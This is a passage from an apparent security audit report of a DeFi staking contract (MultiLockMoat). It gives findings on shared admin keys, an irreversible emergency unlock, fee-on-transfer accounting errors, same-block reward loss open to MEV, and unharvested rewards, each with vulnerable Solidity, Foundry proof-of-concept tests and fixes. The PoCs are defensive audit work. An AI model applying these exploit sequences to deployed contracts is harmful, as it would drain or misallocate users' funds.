11         adminWallet = _adminWallet;
12         usdcToken = _usdcToken;
13     }
14 
15     function createMultiLockMoat(
16         address _stakingToken,
        address _feeCollector
    ) external onlyOwner returns (address) {
        require(_stakingToken != address(0), "Invalid staking token");
        require(_feeCollector != address(0), "Invalid fee collector");

        // VULNERABILITY: Every deployment gets the same admin
        MultiLockMoat newMoat = new MultiLockMoat(
            _stakingToken,
            _feeCollector,
            adminWallet  // Same wallet for all contracts
        );

        moatContracts.push(address(newMoat));
        emit MultiLockMoatCreated(address(newMoat), _stakingToken);

        return address(newMoat);
    }

    // Only affects FUTURE deployments, not existing contracts
    function setAdminWallet(address _adminWallet) external onlyOwner {
        require(_adminWallet != address(0), "Invalid admin wallet");
        adminWallet = _adminWallet;
    }
}

// In MultiLockMoat.sol - dangerous admin functions
contract MultiLockMoat {
    address public moatManager;

    // Compromised admin can manipulate points
    function migrateBurnUsers(
        address[] calldata _users,
        uint256[] calldata _burnAmounts
    ) external onlyMoatManager {
        // No validation - admin can add arbitrary burn points to any address
        for (uint i = 0; i < _users.length; i++) {
            uint256 pointsToAdd = (_burnAmounts[i] * POINTS_PER_TOKEN * BURN_MULTIPLIER) /
    POINTS_SCALING_FACTOR;
            user.burnPoints += pointsToAdd;
            totalPoints += pointsToAdd;
        }
    }

    // Admin can enable emergency withdrawals
    function enableEmergencyUnlock() external onlyAdmin {
        emergencyUnlockEnabled = true;
    }

    // Admin can pause/unpause
    function togglePause(bool _state) external onlyAdmin {
        paused = _state;
    }
}
```

Proof of Concept:

```
function testCompromisedAdminAffectsAllDeployments() public {
    // Owner deploys multiple contracts with same admin
    vm.startPrank(owner);
    address moat1 = factory.createMultiLockMoat(address(token1), feeCollector);
    address moat2 = factory.createMultiLockMoat(address(token2), feeCollector);
    address moat3 = factory.createMultiLockMoat(address(token3), feeCollector);
    vm.stopPrank();

    // Verify all use same admin
    address admin1 = MultiLockMoat(moat1).moatManager();
    address admin2 = MultiLockMoat(moat2).moatManager();
    address admin3 = MultiLockMoat(moat3).moatManager();

    assertEq(admin1, adminWallet);
    assertEq(admin2, adminWallet);
    assertEq(admin3, adminWallet);
    console.log("All contracts share admin:", adminWallet);

    // Simulate admin compromise
    address attacker = address(0xBAAD);
    console.log("\n=== Admin Wallet Compromised ===");

    vm.startPrank(adminWallet); // Attacker now controls admin

    // Exploit all contracts simultaneously
    address[] memory attackerAddr = new address[](1);
    attackerAddr[0] = attacker;

    uint256[] memory fakeBurnAmounts = new uint256[](1);
    fakeBurnAmounts[0] = 1000000e18; // 1M fake burn amount

    // Attack each contract
    MultiLockMoat(moat1).migrateBurnUsers(attackerAddr, fakeBurnAmounts);
    console.log("Moat1 exploited - attacker granted", fakeBurnAmounts[0] / 1e18, "burn points");

    MultiLockMoat(moat2).migrateBurnUsers(attackerAddr, fakeBurnAmounts);
    console.log("Moat2 exploited - attacker granted", fakeBurnAmounts[0] / 1e18, "burn points");

    MultiLockMoat(moat3).migrateBurnUsers(attackerAddr, fakeBurnAmounts);
    console.log("Moat3 exploited - attacker granted", fakeBurnAmounts[0] / 1e18, "burn points");

    vm.stopPrank();

    // All contracts compromised with single admin key
    console.log("\n=== Result ===");
    console.log("Contracts compromised: 3/3 (100%)");
    console.log("Impact: Entire protocol ecosystem affected");
}
```

Remediation:

Allow specifying different admin addresses per deployment to isolate risk:

```
contract MultiLockMoatFactory is Ownable {
    // Rename to indicate it's a default, not the only option
    address public defaultAdminWallet;
    address public usdcToken;
    address[] public moatContracts;

    constructor(address _defaultAdminWallet, address _usdcToken) {
        require(_defaultAdminWallet != address(0), "Invalid admin wallet");
        require(_usdcToken != address(0), "Invalid USDC token");

        defaultAdminWallet = _defaultAdminWallet;
        usdcToken = _usdcToken;
    }

    // FIXED: Allow specifying custom admin per deployment
    function createMultiLockMoat(
        address _stakingToken,
        address _feeCollector,
        address _adminWallet  // New parameter - specify admin for this deployment
    ) external onlyOwner returns (address) {
        require(_stakingToken != address(0), "Invalid staking token");
        require(_feeCollector != address(0), "Invalid fee collector");
        require(_adminWallet != address(0), "Invalid admin wallet");

        // Use the specified admin, not factory's default
        MultiLockMoat newMoat = new MultiLockMoat(
            _stakingToken,
            _feeCollector,
            _adminWallet
        );

        moatContracts.push(address(newMoat));
        emit MultiLockMoatCreated(address(newMoat), _stakingToken, _adminWallet);

        return address(newMoat);
    }

    // Convenience function for using default admin
    function createMultiLockMoatWithDefaultAdmin(
        address _stakingToken,
        address _feeCollector
    ) external onlyOwner returns (address) {
        return createMultiLockMoat(_stakingToken, _feeCollector, defaultAdminWallet);
    }

    // Update default for future deployments only
    function setDefaultAdminWallet(address _adminWallet) external onlyOwner {
        require(_adminWallet != address(0), "Invalid admin wallet");
        defaultAdminWallet = _adminWallet;
        emit DefaultAdminWalletUpdated(_adminWallet);
    }

    event DefaultAdminWalletUpdated(address indexed newDefaultAdmin);
    event MultiLockMoatCreated(
        address indexed moatContract,
        address indexed stakingToken,
        address indexed adminWallet
    );
}
```

Finding 7: Early exit can be cheaper than normal exit near maturity

Severity: ● Medium

Status: Resolved

Description:

`earlyExitLock` fee is proportional to remaining duration, while `exitLock` always charges `unstakeFee` on the full locked amount. Near lock maturity, the early-exit fee can drop below `unstakeFee`, making it cheaper to exit "early" rather than waiting to maturity and exiting via `exitLock`. This is counterintuitive and may conflict with intended economic design.

Impact:

Some users can avoid paying more exit fees than intended.

Source:

- `MoatV3/multilock.moat.sol:440-481` (`earlyExitLock`)
- `MoatV3/multilock.moat.sol:653-670` (`calculateEarlyExitFee`)
- `MoatV3/multilock.moat.sol:405-437` (`exitLock`)

Remediation:

- Align fee functions so that:
  - At or near maturity, early-exit fee is >= `unstakeFee`; or
  - Early exit is disabled once remaining duration falls below a threshold.
- Clearly document fee behavior and expose UI warnings near maturity.

Finding 8: Emergency unlock is irreversible

Severity: ! Medium

Status: Acknowledged

Description:

`enableEmergencyUnlock` sets `emergencyUnlockEnabled = true` with no corresponding function to disable it. Once activated, users can permanently bypass lock durations via `emergencyWithdraw`. This may be desirable in emergencies but cannot be reverted, weakening long-term trust in lock guarantees even after the emergency has passed.

Impact:

Once emergency unlock is enabled, it will always be on, with no way to disable it.

Source:

- `MoatV3/multilock.moat.sol:241-243` (`enableEmergencyUnlock`)
- `MoatV3/multilock.moat.sol:619-651` (`emergencyWithdraw`)

Remediation:

- Add a symmetric `disableEmergencyUnlock` guarded by stricter controls (e.g., multisig/timelock).
- Or treat `enableEmergencyUnlock` as a documented one-way “final shutdown” switch.
- Emit clear events and monitor emergency state off-chain.

Finding 9: enableEmergencyUnlock() Fails to Pause Contract

Severity: ● Medium

Status: Resolved

Description:

When an administrator calls `enableEmergencyUnlock()` to enable emergency withdrawals in response to a critical vulnerability or system failure, the contract should be immediately paused to prevent users from depositing additional funds. Currently, the contract continues to accept stakes, locks, and burns even after emergency mode is enabled.

This creates a dangerous situation where users can unknowingly deposit funds into a system that the admin has flagged as compromised or broken. The semantic meaning of "emergency unlock" signals that something is critically wrong and users should exit, but the contract's behavior contradicts this by continuing to accept new deposits.

Impact:

1. **Uninformed Users Deposit Into Compromised System**: Users who are unaware of the emergency situation continue depositing funds into a contract that the admin has determined is unsafe. They may not monitor protocol announcements or social media and simply interact with the contract as usual.

2. **Contradictory System State**: The protocol sends conflicting signals:

   - `emergencyUnlockEnabled = true` means "something is critically wrong, users should withdraw"
   - Contract still accepting deposits means "everything is operating normally"
   - This contradiction confuses users and creates unsafe conditions

3. **Extended Vulnerability Window**: During the time between `enableEmergencyUnlock()` being called and users becoming aware, the system continues accepting deposits. If the emergency is due to a vulnerability, these new deposits are exposed to the same vulnerability.

4. **Potential for User Losses**: Users depositing during the emergency window may:

   - Have funds exposed to the vulnerability that triggered the emergency
   - Incur gas costs for deposits they immediately need to withdraw
   - Lose opportunity to avoid the compromised system entirely

Example Scenario:

- Admin discovers critical vulnerability in reward distribution at 10:00 AM
- Admin calls `enableEmergencyUnlock()` immediately
- Between 10:00-10:30 AM, 5 users stake a combined $100,000 (unaware of emergency)
- At 10:30 AM, protocol announces emergency on social media
- Users realize and call `emergencyWithdraw()` to exit
- The $100,000 was unnecessarily exposed to vulnerability for 30 minutes
- Users also wasted gas on stake + emergency withdraw transactions

Source:

- **Contract**: `MultiLockMoat.sol`
- **Function**: `enableEmergencyUnlock()` (Lines 240-242)
- **Related**: `stake()`, `lock()`, `burn()`, `togglePause()`

Code:

```
function enableEmergencyUnlock() external onlyAdmin {
    emergencyUnlockEnabled = true;
    // MISSING: Should also set paused = true
    // No event emitted, no pause triggered
}

// Users can still deposit even in emergency mode
function stake(uint256 _amount) external whenStakingEnabled whenNotPaused nonReentrant {
    require(_amount > 0, "Cannot stake 0");
    // This proceeds normally even if emergencyUnlockEnabled = true
    // User unknowingly deposits into potentially compromised system
    // ...
}

function lock(uint256 _amount, uint256 _duration) external whenLockingEnabled whenNotPaused
    nonReentrant {
    require(_amount > 0, "Cannot lock 0");
    // This proceeds normally during emergency
    // User locks funds in a system flagged for emergency exit
    // ...
}

function burn(uint256 _amount) external whenBurningEnabled whenNotPaused nonReentrant {
    require(_amount > 0, "Cannot burn 0");
    // This proceeds normally during emergency
    // User permanently burns tokens in potentially broken system
    // ...
}

// Compare with existing pause mechanism
function togglePause(bool _state) external onlyAdmin {
    paused = _state;
    // This exists but is not automatically triggered by enableEmergencyUnlock
}
```

Proof of Concept:

```
function testEmergencyUnlockDoesNotPauseDeposits() public {
    // Initial state - contract is operational
    assertFalse(moat.emergencyUnlockEnabled());
    assertFalse(moat.paused());

    // Admin detects critical issue and enables emergency unlock
    vm.prank(admin);
    moat.enableEmergencyUnlock();

    // Verify emergency is enabled
    assertTrue(moat.emergencyUnlockEnabled());
    console.log("Emergency unlock enabled: true");

    // VULNERABILITY: Contract is NOT paused
    assertFalse(moat.paused());
    console.log("Contract paused: false");

    // Uninformed user can still deposit
    vm.startPrank(user);
    stakingToken.approve(address(moat), 10000e18);

    // This should fail but succeeds
    moat.stake(10000e18);
    console.log("User staked 10,000 tokens during emergency");

    // User can also lock
    stakingToken.approve(address(moat), 5000e18);
    moat.lock(5000e18, 30 days);
    console.log("User locked 5,000 tokens during emergency");

    vm.stopPrank();

    // User deposited 15,000 tokens into emergency-flagged system
    (uint256 userStaked, , , , ) = moat.userInfo(user);
    (, , , , , bool lockActive) = moat.getUserLock(user, 0);

    assertTrue(userStaked > 0);
    assertTrue(lockActive);

    console.log("\n=== Impact ===");
    console.log("Total deposited during emergency:", 15000);
    console.log("User was not protected from depositing into unsafe contract");
}
```

Remediation:

Automatically pause the contract when emergency unlock is enabled:

```
function enableEmergencyUnlock() external onlyAdmin {
    emergencyUnlockEnabled = true;

    // FIXED: Automatically pause all deposit operations
    paused = true;

    emit EmergencyUnlockEnabled(msg.sender, block.timestamp);
    emit ContractPaused(msg.sender, block.timestamp);
}

// Admin can still manually unpause later if emergency is resolved
function togglePause(bool _state) external onlyAdmin {
    paused = _state;

    if (_state) {
        emit ContractPaused(msg.sender, block.timestamp);
    } else {
        emit ContractUnpaused(msg.sender, block.timestamp);
    }
}

// Events for transparency
event EmergencyUnlockEnabled(address indexed admin, uint256 timestamp);
event ContractPaused(address indexed admin, uint256 timestamp);
event ContractUnpaused(address indexed admin, uint256 timestamp);
```

Finding 10: Fee-on-Transfer Token Incompatibility Leading to Accounting Discrepancies

Severity: ! Medium

Status: Acknowledged

Description:

The protocol assumes that token transfer amounts equal the amounts actually received by the contract. This assumption fails for fee-on-transfer tokens (also called deflationary or taxed tokens), which automatically deduct a percentage during each transfer. The contract records the full `_amount` in its internal accounting without measuring actual balance changes, creating a persistent discrepancy between recorded balances and actual token holdings.

For example, with a 5% fee-on-transfer token:

- Admin transfers 1,000 tokens -> Contract receives 950 tokens (5% fee deducted)
- Contract records `unallocatedRewards += 1,000` (uses full amount)
- Discrepancy: 50 tokens (5%)

This discrepancy accumulates across multiple deposits and eventually causes the contract to promise more tokens than it holds, leading to failed withdrawals and protocol insolvency. Later users will be unable to retrieve their funds after earlier users have withdrawn.

Impact:

1. `Protocol Insolvency`: Cumulative discrepancies lead to `recorded balance > actual balance`. When users attempt to withdraw, the contract has insufficient tokens:
   - 100 users stake 1,000 tokens each with 5% fee
   - Contract receives: 95,000 tokens
   - Contract records: 100,000 tokens
   - First 95 users can withdraw, last 5 users fail
2. `Failed Reward Distributions`: When admin deposits fee-on-transfer reward tokens, users can claim more than the contract holds, causing late claimers to fail.
3. `Unfair Point Allocation`: Users staking fee-on-transfer tokens receive inflated points compared to their actual contribution, gaining unfair advantage over standard token stakers.

4. `Cascading Withdrawal Failures`: Creates a "bank run" scenario where early withdrawers succeed but later users are locked out, causing panic and reputation damage.

Source:

- Contract: `MultiLockMoat.sol`
- Functions:
  - `depositRewards()` (Lines 178-196)
  - `stake()` (Line 281)
  - `lock()` (Line 311)

Code:

```
function depositRewards(address _rewardToken, uint256 _amount) external onlyAdmin {
    require(_amount > 0, "Cannot deposit 0");
    RewardTokenInfo storage reward = rewardInfo[_rewardToken];

    // Transfer occurs - actual received may be less than _amount
    reward.token.safeTransferFrom(msg.sender, address(this), _amount);

    // Accounting uses _amount, not actual received
    reward.unallocatedRewards += _amount;
    reward.totalRewardsDeposited += _amount;

    updatePool();
}

function stake(uint256 _amount) external {
    // ...
    // For fee-on-transfer tokens: actual received < _amount
    stakingToken.safeTransferFrom(msg.sender, address(this), _amount);

    // Points calculated on inflated _amount
    uint256 points = (_amount * POINTS_PER_TOKEN) / POINTS_SCALING_FACTOR;
    user.stakedAmount += _amount;
    user.stakingPoints += points;
    totalStaked += _amount;
    // ...
}

function lock(uint256 _amount, uint256 _duration) external {
    // ...
    stakingToken.safeTransferFrom(msg.sender, address(this), _amount);

    uint256 multiplier = calculateLockMultiplier(_duration);
    uint256 points = (_amount * POINTS_PER_TOKEN * (multiplier / MULTIPLIER_PRECISION)) /
    POINTS_SCALING_FACTOR;
    // Same issue: uses _amount instead of actual received

    totalLocked += _amount;
    // ...
}
```

Proof of Concept:

```
// Mock fee-on-transfer token with 5% fee
contract FeeToken is ERC20 {
    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        uint256 fee = amount * 5 / 100;  // 5% fee
        uint256 amountAfterFee = amount - fee;

        _spendAllowance(from, _msgSender(), amount);
        _transfer(from, address(0xdead), fee);  // Burn fee
        _transfer(from, to, amountAfterFee);
        return true;
    }
}

function testFeeTokenAccountingDiscrepancy() public {
    FeeToken feeToken = new FeeToken();
    MultiLockMoat moat = new MultiLockMoat(address(feeToken), feeCollector, admin);

    uint256 numUsers = 20;

    // Users stake
    for (uint i = 0; i < numUsers; i++) {
        address user = address(uint160(i + 1));
        feeToken.mint(user, 10000e18);

        vm.startPrank(user);
        feeToken.approve(address(moat), 10000e18);
        moat.stake(10000e18);
        vm.stopPrank();
    }

    // Verify discrepancy
    uint256 totalStaked = moat.totalStaked();              // 200,000
    uint256 actualBalance = feeToken.balanceOf(address(moat)); // 190,000

    console.log("Recorded balance:", totalStaked / 1e18);
    console.log("Actual balance:", actualBalance / 1e18);
    console.log("Discrepancy:", (totalStaked - actualBalance) / 1e18);

    assertGt(totalStaked, actualBalance); // 10,000 token deficit

    // Users try to unstake - some will fail
    uint256 failed = 0;
    for (uint i = 0; i < numUsers; i++) {
        address user = address(uint160(i + 1));
        vm.startPrank(user);

        (uint256 staked, , , , ) = moat.userInfo(user);

        try moat.unstake(staked) {
            // Early users succeed
        } catch {
            failed++; // Later users fail
        }
        vm.stopPrank();
    }

    console.log("Failed unstakes:", failed);
    assertGt(failed, 0); // Some users cannot withdraw
}
```

Remediation:

Measure actual token balance change before and after transfers:

```
function depositRewards(address _rewardToken, uint256 _amount) external onlyAdmin {
    require(_amount > 0, "Cannot deposit 0");
    RewardTokenInfo storage reward = rewardInfo[_rewardToken];

    // Measure balance before transfer
    uint256 balanceBefore = reward.token.balanceOf(address(this));

    reward.token.safeTransferFrom(msg.sender, address(this), _amount);

    // Measure balance after transfer
    uint256 balanceAfter = reward.token.balanceOf(address(this));

    // Calculate and use actual received amount
    uint256 actualAmount = balanceAfter - balanceBefore;
    reward.unallocatedRewards += actualAmount;
    reward.totalRewardsDeposited += actualAmount;

    updatePool();
    emit RewardsDeposited(_rewardToken, actualAmount);
}

function stake(uint256 _amount) external {
    // ...
    uint256 balanceBefore = stakingToken.balanceOf(address(this));
    stakingToken.safeTransferFrom(msg.sender, address(this), _amount);
    uint256 balanceAfter = stakingToken.balanceOf(address(this));

    // Use actual received amount
    uint256 actualAmount = balanceAfter - balanceBefore;
    uint256 points = (actualAmount * POINTS_PER_TOKEN) / POINTS_SCALING_FACTOR;
    user.stakedAmount += actualAmount;
    user.stakingPoints += points;
    totalStaked += actualAmount;
    // ...
}
```

Finding 11: No rescue for stuck rewards

Severity: ● Medium

Status: Resolved

Description:

The contract supports depositing reward tokens and accounting for `unallocatedRewards`, but there is no admin function to recover unused or unallocated reward balances. Combined with other issues (e.g., zero `totalPoints` with low-decimal staking tokens or under-allocation due to expired locks), this can leave large reward balances permanently stranded in the contract even if operators wish to migrate or refund them.

Impact:

The contract supports depositing reward tokens and accounting for `unallocatedRewards`, but there is no admin function to recover unused or unallocated reward balances. Combined with other issues (e.g., zero `totalPoints` with low-decimal staking tokens or under-allocation due to expired locks), this can leave large reward balances permanently stranded in the contract even if operators wish to migrate or refund them.

Source:

- `MoatV3/multilock.moat.sol:171-196` (`depositRewards`)
- `MoatV3/multilock.moat.sol:250-275` (`updatePool`)
- Absence of any `rescueToken`/sweep function in `multilock.moat.sol`

Remediation:

- Add an owner/admin-only `rescueToken(address token, uint256 amount, address to)` that:
  - Cannot withdraw the staking token (or is tightly restricted for it).
  - Can withdraw unused reward tokens.
- Optionally add a shutdown mode disabling new actions while allowing sweeping.
- Document the rescue mechanism and governance controls around it.

Finding 12: Single-Block updatePool() Limitation Enables Reward Loss and MEV Exploitation

Severity: ● Medium

Status: Resolved

Description:

The `updatePool()` function contains a block number check (`if (block.number <= lastRewardBlock) return;`) that prevents it from executing more than once per block. This optimization, intended to save gas, creates a critical timing vulnerability where users can permanently lose their share of rewards if admin deposits occur in the same block as their operations.

Attack Sequence:

1. **Transaction 1 (same block)**: User A performs any operation (stake/unstake/etc.) -> `updatePool()` executes -> `lastRewardBlock` set to current block number
2. **Transaction 2 (same block)**: Admin calls `depositRewards()` adding 10,000 reward tokens -> `updatePool()` called but **exits early** due to block check -> `accRewardPerPoint` NOT updated -> new rewards remain in `unallocatedRewards`
3. **Transaction 3 (same block)**: User B performs operation -> `updatePool()` exits early again -> User B's `rewardDebt` is updated based on **old** `accRewardPerPoint` that doesn't include the new 10,000 tokens
4. **Next Block**: Someone triggers `updatePool()` -> new rewards finally distributed, but User B's `rewardDebt` already locked in at old value -> User B permanently excluded from this reward batch

MEV Attack Vector: MEV bots can monitor the mempool for admin `depositRewards()` transactions and sandwich them:

- **Frontrun**: Harvest rewards at old rate before deposit
- **Backrun**: Stake/increase position after deposit to capture new rewards
- **Victims**: Normal users positioned between the deposit and backrun lose their share

Impact:

1. **Permanent Reward Loss for Users**: Users performing operations in the same block after an admin reward deposit permanently lose their share of that deposit. They have no way to recover these lost rewards.

2. **Timing-Dependent Unfairness**: Two users performing identical operations receive vastly different rewards based purely on which block their transaction lands in relative to admin deposits.

3. **MEV Exploitation Opportunity**: Sophisticated MEV bots can:

   - Monitor mempool for `depositRewards()` transactions
   - Frontrun to claim rewards at old rates
   - Backrun to position for new rewards
   - Sandwich legitimate users causing them to lose rewards

4. **Increased Risk on High-Throughput Chains**: On chains with high transactions per block (BSC, Polygon, Arbitrum, L2s), this issue is more likely to affect users as the probability of admin deposits occurring in same block as user operations increases.

5. **Admin Cannot Prevent Issue**: Even well-intentioned admins cannot avoid harming users, as they have no control over which other transactions appear in the same block as their deposit.

Numerical Example:

- Block N, totalPoints = 100
- Tx1 (Block N): User A unstakes -> `updatePool()` runs -> `lastRewardBlock = N`
- Tx2 (Block N): Admin deposits 10,000 tokens -> `updatePool()` exits early -> `unallocatedRewards = 10,000`, `accRewardPerPoint` unchanged
- Tx3 (Block N): User B (50 points, 50% of pool) unstakes -> `rewardDebt` set based on old `accRewardPerPoint`
- Block N+1: `updatePool()` finally runs, distributes 10,000 tokens
- Result: User B should have gotten 5,000 tokens (50%), got 0 tokens
- Loss: 5,000 tokens permanently lost to User B

Source:

- **Contract**: `MultiLockMoat.sol`
- **Primary Function**: `updatePool()` (Lines 249-270)
- **Affected Function**: `depositRewards()` (Lines 178-196)
- **Related**: All user functions that call `updatePool()` - `stake()`, `unstake()`, `lock()`, `burn()`, `exitLock()`, `earlyExitLock()`
- **Related Issue**: audit-report.md Issue #15

Code:

```
function updatePool() internal {
    // VULNERABILITY: Only allows one update per block
    if (block.number <= lastRewardBlock) {
        return;  // Exits early without distributing new rewards
    }

    if (totalPoints > 0) {
        uint256 numRewardTokens = rewardTokenAddresses.length;
        for (uint i = 0; i < numRewardTokens; i++) {
            address rewardTokenAddress = rewardTokenAddresses[i];
            RewardTokenInfo storage reward = rewardInfo[rewardTokenAddress];

            if (reward.unallocatedRewards > 0) {
                // Distribute rewards to point holders
                reward.accRewardPerPoint +=
                    (reward.unallocatedRewards * PRECISION_FACTOR) /
                    totalPoints;
                reward.unallocatedRewards = 0;
            }
        }
    }

    lastRewardBlock = block.number;
}

function depositRewards(address _rewardToken, uint256 _amount) external onlyAdmin {
    require(_amount > 0, "Cannot deposit 0");
    RewardTokenInfo storage reward = rewardInfo[_rewardToken];

    reward.token.safeTransferFrom(msg.sender, address(this), _amount);

    // New rewards added but may not be distributed
    reward.unallocatedRewards += _amount;
    reward.totalRewardsDeposited += _amount;

    // CRITICAL: May exit early if already called this block
    updatePool();

    // If updatePool exited early:
    // - unallocatedRewards contains new deposit
    // - accRewardPerPoint NOT updated
    // - Next user operation will update their rewardDebt with OLD accRewardPerPoint
    // - User loses share of this deposit forever
}

// User operations call updatePool and then update rewardDebt
function unstake(uint256 _amount) external {
    UserInfo storage user = userInfo[msg.sender];
    updatePool();  // May exit early

    _harvestAllRewards(msg.sender);  // Claims based on old accRewardPerPoint

    // ... unstake logic ...

    _updateAllRewardDebts(msg.sender);  // Sets debt based on old accRewardPerPoint
    // User's future claims now exclude rewards that were deposited earlier in this block
}
```

Proof of Concept:

```
function testSameBlockDepositCausesRewardLoss() public {
    // Setup: Both users stake equal amounts
    vm.startPrank(userA);
    stakingToken.approve(address(moat), 500e18);
    moat.stake(500e18);
    vm.stopPrank();

    vm.startPrank(userB);
```

```
        stakingToken.approve(address(moat), 500e18);
        moat.stake(500e18);
        vm.stopPrank();

        uint256 totalPoints = moat.totalPoints();
        uint256 userBPoints = moat.getCurrentPoints(userB);

        console.log("Total points:", totalPoints);
        console.log("UserB points:", userBPoints);
        console.log("UserB share:", (userBPoints * 100) / totalPoints, "%");

        // Move to new block to simulate same-block sequence
        vm.roll(block.number + 1);

        // === SAME BLOCK SEQUENCE ===
        console.log("\n=== Same Block Transactions ===");
        console.log("Block number:", block.number);

        // Tx1: UserA unstakes (triggers updatePool)
        vm.prank(userA);
        moat.unstake(100e18);
        console.log("Tx1: UserA unstaked, lastRewardBlock set to", moat.lastRewardBlock());

        // Tx2: Admin deposits rewards (SAME BLOCK)
        vm.startPrank(admin);
        rewardToken.approve(address(moat), 10000e18);
        moat.depositRewards(address(rewardToken), 10000e18);
        vm.stopPrank();

        // Check if rewards were distributed
        (, uint256 accRewardPerPoint, uint256 unallocated, , ) = moat.rewardInfo(address(rewardToken));
        console.log("Tx2: Admin deposited");
        console.log("  accRewardPerPoint:", accRewardPerPoint);
        console.log("  unallocatedRewards:", unallocated / 1e18);

        // Vulnerability: unallocated > 0 means distribution was skipped
        assertTrue(unallocated > 0, "Rewards not distributed - vulnerability confirmed");

        // Tx3: UserB unstakes (SAME BLOCK)
        vm.prank(userB);
        moat.unstake(100e18);
        console.log("Tx3: UserB unstaked");

        // === NEXT BLOCK - Check Results ===
        vm.roll(block.number + 1);

        // Trigger distribution
        vm.prank(userA);
        stakingToken.approve(address(moat), 1);
        moat.stake(1);

        // Check UserB's rewards
        uint256 userBRewards = moat.pendingRewards(userB, address(rewardToken));
        uint256 expectedRewards = (10000e18 * userBPoints) / totalPoints;

        console.log("\n=== Results ===");
        console.log("UserB expected rewards:", expectedRewards / 1e18);
        console.log("UserB actual rewards:", userBRewards / 1e18);
        console.log("UserB loss:", (expectedRewards - userBRewards) / 1e18);

        // UserB lost their share of the 10,000 token deposit
        assertEq(userBRewards, 0);
        assertGt(expectedRewards, 0);
    }
```

Remediation:

Force reward distribution in `depositRewards()` by calling distribution logic directly, bypassing the block check:

```solidity
function depositRewards(address _rewardToken, uint256 _amount) external onlyAdmin whenNotPaused
    nonReentrant {
    require(_amount > 0, "Cannot deposit 0");
    require(
        rewardInfo[_rewardToken].token != IERC20(address(0)),
        "Reward token not added"
    );

    RewardTokenInfo storage reward = rewardInfo[_rewardToken];
    reward.token.safeTransferFrom(msg.sender, address(this), _amount);
    reward.unallocatedRewards += _amount;
    reward.totalRewardsDeposited += _amount;

    // FIXED: Force distribution immediately, bypassing block check
    _forceDistributeRewards();

    emit RewardsDeposited(_rewardToken, _amount);
}

// NEW: Force reward distribution regardless of lastRewardBlock
function _forceDistributeRewards() internal {
    if (totalPoints > 0) {
        uint256 numRewardTokens = rewardTokenAddresses.length;
        for (uint i = 0; i < numRewardTokens; i++) {
            address rewardTokenAddress = rewardTokenAddresses[i];
            RewardTokenInfo storage reward = rewardInfo[rewardTokenAddress];

            if (reward.unallocatedRewards > 0) {
                reward.accRewardPerPoint +=
                    (reward.unallocatedRewards * PRECISION_FACTOR) /
                    totalPoints;
                reward.unallocatedRewards = 0;
            }
        }
    }

    lastRewardBlock = block.number;
}

// Keep original updatePool for normal operations
function updatePool() internal {
    if (block.number <= lastRewardBlock) {
        return;
    }
    _forceDistributeRewards();
}
```

Finding 13: Active user set unbounded via burns

Severity: ● Low

Status: Acknowledged

Description:

`_isUserActive` treats any `burnPoints > 0` as a permanent activity signal. `_addActiveUser` inserts a user into `activeUsers` whenever they become "active", and `_removeActiveUser` scans the whole array to remove them only when they are no longer active. Since burns are permanent, burning once permanently keeps the user active unless `emergencyWithdraw` wipes state. Attackers can create many addresses and burn tiny amounts to bloat `activeUsers`, making removal loops increasingly expensive and eventually hitting gas limits.

Impact:

Since burns are permanent, burning once permanently keeps the user active unless `emergencyWithdraw` wipes state. Attackers can create many addresses and burn tiny amounts to bloat `activeUsers`, making removal loops increasingly expensive and eventually hitting gas limits.

Source:

- `MoatV3/multilock.moat.sol:673-702` (`_isUserActive`, `_addActiveUser`, `_removeActiveUser`)
- `MoatV3/multilock.moat.sol:277-299` (`stake`)
- `MoatV3/multilock.moat.sol:348-376` (`burn`)
- Exit paths calling `_removeActiveUser`

Remediation:

- Track a separate `has burned` flag and keep `activeUsers` for current stake/locks only.
- Use an index mapping for O(1) removal from `activeUsers`.
- Enforce minimum burn thresholds or per-address limits to discourage dust spam.

Finding 14: Chain/token decimal assumptions

Severity: ● Low

Status: Resolved

Description:

The factory sets a default `deploymentFee = 100 * 1e6`, implicitly assuming a 6-decimal USDC-like token. On chains(BNB) where "USDC" is 18 decimals (or if a different stablecoin is used), the fee amount will be off by orders of magnitude. Similar assumptions can bleed into reward configuration and off-chain expectations.

Impact:

If the contracts are to be deployed on BNB chain, the cost to create a `MultilockMoat` contract will be extremely low.

Source:

- `MoatV3/multilock.factory.sol:11-16, 31-39`

Remediation:

- Make `deploymentFee` an explicit configuration parameter; treat it as "smallest units" and document decimals per deployment.
- In deployment tooling, require explicit confirmation of token decimals and intended human-readable fee.
- Add helper views or scripts to sanity-check configured fees against token decimals.

Finding 15: emergencyWithdraw() Fails to Harvest Pending Rewards

Severity: ● Low

Status: Acknowledged

Description:

The `emergencyWithdraw()` function allows users to retrieve all staked and locked tokens during emergency situations, but it fails to call `_harvestAllRewards()` before processing the withdrawal. Since the function immediately deletes all user data via `delete userInfo[msg.sender]`, any pending rewards accumulated since the user's last claim are permanently lost and become unclaimable.

All other user exit flows in the contract (`unstake`, `exitLock`, `earlyExitLock`) properly call `_harvestAllRewards(msg.sender)` before modifying positions, making the behavior asymmetric and unexpected. Users in emergency situations, who are already stressed, may not realize they are forfeiting their accumulated rewards by using `emergencyWithdraw`.

```
function emergencyWithdraw() external nonReentrant {
    require(emergencyUnlockEnabled, "Emergency unlock not enabled");
    UserInfo storage user = userInfo[msg.sender];

    // Calculate total withdrawable amount
    uint256 totalLockedAmount = 0;
    for (uint256 i = 0; i < user.locks.length; i++) {
        if (user.locks[i].active) {
            totalLockedAmount += user.locks[i].amount;
        }
    }

    uint256 totalAmount = user.stakedAmount + totalLockedAmount;
    require(totalAmount > 0, "Nothing to withdraw");

    // MISSING: _harvestAllRewards(msg.sender);

    // Update global state
    totalStaked -= user.stakedAmount;
    totalLocked -= totalLockedAmount;
    totalPoints -= (user.stakingPoints + user.burnPoints);

    for (uint256 i = 0; i < user.locks.length; i++) {
        if (user.locks[i].active) {
            totalPoints -= user.locks[i].points;
        }
    }

    // Deletes all user data including rewardDebt without claiming rewards
    delete userInfo[msg.sender];

    stakingToken.safeTransfer(msg.sender, totalAmount);
    _removeActiveUser(msg.sender);
}

// Compare with normal unstake - properly harvests first
function unstake(uint256 _amount) external {
    UserInfo storage user = userInfo[msg.sender];
    updatePool();

    // Properly harvests rewards before proceeding
    _harvestAllRewards(msg.sender);

    // ... rest of unstake logic ...
}
```

Impact:

1. **Permanent Reward Loss**: Users lose all pending rewards accumulated since their last claim. If a user has been staking for months without claiming, they could lose thousands of dollars in rewards.

2. **No Recovery Mechanism**: Once `userInfo` is deleted, there is no way to recover or recalculate the lost rewards.

